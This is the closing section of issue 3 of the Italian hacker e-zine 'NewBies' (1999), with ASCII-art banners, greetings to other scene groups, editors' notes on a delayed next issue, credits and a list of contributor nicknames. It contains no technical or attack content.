ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ SALUTI ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Ora che siamo arrivati alla fine di questa e-zine volevo solo salutare tutti quelli che conosco e tutti i vari gruppi quali gli Spippolatori, quelli di BFI, quelli di Spaghetti Phreakers, quelli di Ring0, quelli di Vana Imago, quelli di NetRunners, i DIB, i DDT, i TRH, gli ATOMIRC, tutti quelli che aiutano NewBies ad andare avanti con i loro articoli [ quindi un meritato GRAZIE a tutto il NewBies Staff :D ], tutti quelli che ci leggono e tutti quelli che ridono sui miei articoli :P eheheh Ps: dedico questa e-zine a K4m4l30nt3, colui con il quale ho iniziato quest'avventura e che ora non e' piu' tra noi.... dovunque tu sia questa e' per te fratello. _--={ ø(^__^)ø }=--_ Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma non potete fermarci tutti... dopo tutto, siamo tutti curiosi uguali e con la stessa voglia di smanettare e di capire. +++Illo N0bodY88+++ January 16, 1999 Ok ora voglio fare anche io un mega salutone a Dark Schnaider [ complimenti x il sito ] , Biavo , w00w00 e tutti gli altri amici mirc che frequentemente vengono sul nostro beneamato canale #hackernow [ grazie di tutto cuore siete mitici ] . Ah mi dimenticavo una cosa .... Fanculo ai Lamer siete esseri immondi .... Come sono buono eh.. Io sono un newbies e questo e' il mio manifesto. Potete anche fermare me, ma almeno aspettate che abbia fermato tutti i lamer di questo universo, dopo tutto non siamo tutti uguali ZeroCool PARZIALE ASSENZA DI N0bodY88 Causa problemi suoi N0bodY88 vi lascia (evviva facciamo festa!!!!). Ieri ho dovuto vendere il modem x vari motivi quindi le mie mail le andro' a leggere a casa di qualke amico :-((( A causa della vendita del modem non potro' + rispondere in giornata a chi mi scrive (come se prima l'avessi mai fatto...) e forse passera' anke una settimana; x quanto riguarda gli articoli mandatemeli sempre allo stesso indirizzo e se avete dei dubbi mandateli a me o a zero cosi' cercheremo qualcuno che faccia un articolo in proposito x risolvere (almeno parzialmente) i vs dubbi (se possiamo :-). Se vedete qualche N0bodY88 che gira su ircnet o su efnet o su parsec-net non sperateci...non sono io ma sara' qualke bastardo dentro che gira col mio nick! Per quanto riguarda i prossimi numeri (partendo dall'idea che tanto NewBies 4 uscira' dopo gli esami di maturita' xche' molti del ns Staff sono nei casini x la matura e altri hanno da fare esami o vogliono riposarsi un attimo) vedranno nelle vesti dei redattori l'immancabile ZeroCool, io [N0bodY88], e la new entry N05F3R4TU (che e' ns collaboratore da moooolto tempo ma causa casini con degli omini vestiti di blu col distintivo, ha dovuto cambiare nick). Quindi cercate di godervi lentamente questo numero di NewBies xche' passeranno minimo 2 mesi prima dell'uscita del numero 4 e speriamo di ribeccarci ancora in rete qualke volta... PS: se va tutto bene in luglio/agosto mi ricompro un modem quindi :-)))))))))) PSS: se tutto va ancora meglio x NewBies 4 aspettatevi un bel malloppone di mitici articoli dall'altrettanto mitico Nick1 e poi provate a dirci che non vi offriamo buoni articoli !!! Byez N0bodY88 il newbies _ _ ____ _ | \ | | _____ _| __ )(_) ___ ___ | \| |/ _ \ \ /\ / / _ \| |/ _ Y __| | |\ | __/\ V V /| |_) | | __|__ \ |_| \_|\___| \_/\_/ |____/|_|\___|___/ Webmaster by ---------> Redattori ------------> E-zine by ------------> Ascii by -------------> Loghi NewBies by -----> Articoli -------------> ZeroCool & T0rment0 & _p0nic0_ & HaRLoK & N0bodY88 N0bodY88 & ZeroCool N0bodY88 & ZeroCool & NewBies Staff N0bodY88 & |-|15cR4zYm1nD & S0l1t4r10~M4N & 1mGvD RigoR MorteM NewBies Staff & Friends ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°ÛÛ°°ÛÛ°ÛÛÛ°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°ÛÛÛ°ÛÛÛÛ°°°ÛÛÛÛ°ÛÛÛ°°°°Û°°°°°ÛÛÛÛ°ÛÛÛÛ°² ²°ÛÛÛ°ÛÛ°Û°°°°ÛÛ°°ÛÛ°ÛÛ°°ÛÛ°°Û°°°Û°ÛÛ°Û°°°Û°°°°°°Û°°°°°Û°°°°ÛÛÛ°°°°ÛÛ°°°ÛÛ°°°² ²°Û°ÛÛÛÛ°ÛÛ°°°°ÛÛ°°ÛÛÛ°°ÛÛ°°°ÛÛÛÛÛ°ÛÛ°ÛÛ°°ÛÛÛÛ°²°ÛÛÛÛ°°Û°°°ÛÛ°ÛÛ°°°ÛÛÛÛ°ÛÛÛÛ°² ²°Û°°ÛÛÛ°Û°°°°°°ÛÛ°°Û°°ÛÛ°°°°Û°°°Û°ÛÛ°Û°°°°°°Û°°°°°°Û°°Û°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°°² ²°Û°°°ÛÛ°ÛÛÛ°°°°°ÛÛÛÛÛÛÛ°°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛ°ÛÛÛÛ°°°ÛÛÛÛ°°Û°ÛÛ°°°°°ÛÛ°ÛÛ°°°ÛÛ°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ (se pensate che DOVRESTE essere in questa lista o che NON DOVREBBE figurare il vs nome fatecelo sapere e vi adderemo o toglieremo subito) ZeroCool, N0bodY88, The õoul Destroyer, _p0nic0_, +Malattia, [SkinneR], ]Akuma[, ©ipLey, 3uC@50L, 3nN4r0, Aladar, Alby, Alpha-666, AnArChY, Anti-Social, Ax1s, Avatar666, Barninga Z, Blum, Brigante, Caos83, Caratt, ChRoMe, Cobra, CrazyCrom, ÑaBat½ha, Dante Alighieri, Darkman, DarkSide, Dark Schnaider, Devil, DeViLNeT, drwxr-xr-, ElectroRipper, Firebeam, Fitzban, Fusyllo, Frensis, Fritz, G4m3, Ghimlet, Grays, HaMelIn, HarLoK, Ja[3]Ck, Jena, Kalidor, KaOsS, Kill3xx, Killex, Linbus, Lopks, LordLion, Lord Destruction, L0Rd gUF, [mAx], Master, McFly, Meew, Misha, Nemesis, NeuRaL_NoiSE, Newbie 1.1, Nick1, Nietzsche, N05F3R4TU, P4P3r1_N0, Pinball, Quequero, RaG3, Rafcrash, Ramesse, Raul, RedXIII, RigoR MorteM, Ron|n, Rui Deti, Sciaman, Sephy, Skhammer, SoftWord, Sorrow The Prince, S0L1D, S0rD3/\/_82, S2, SpIRIToZ, SpYmAsTeR, Squarty, StuZzik0, Tetofuck, The Sciack, T0rment0, Ulntwh99, UnlT, VaFfa, Vecna, Velvet, Vulcan, Yago, Zelig1, Z3R0, Zinco, ZioFill, w00w00, Wurz. PS: a causa della mancanza del mio modem, non ho potuto chiedere ad alcuni se erano d'accordo al far parte del NB Staff quindi se non volete essere citati nella sopra riportata lista basta che me lo diciate e scusatemi fin d'ora x questa mia mancanza [ es: +Malattia ] PSS: speriamo che alla lista si aggiungano sempre + persone che si dedicano allo studio dei pc, delle reti e dei programmi cosi' da rendere questa e-zine ancora + interessante con l'apporto dei loro articoli :] N0bodY88 |-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|Fine e-zine: Ebbene si siamo arrivati alla fine di questo terzo numero! Come al solito se avete critiche, commenti, migliorie, prese x il culo, speditele all'indirizzo [email protected] o [email protected] e saremo lieti di rispondere alle vs email o di mailbombarvo x le vostre offese hihihi...scherzo ovviamente ;) Ciauz e come diceva l'ultimo dei moicani...."Aspettatemiiiiiiiiiiiiiiiiiiii!" N0bodY88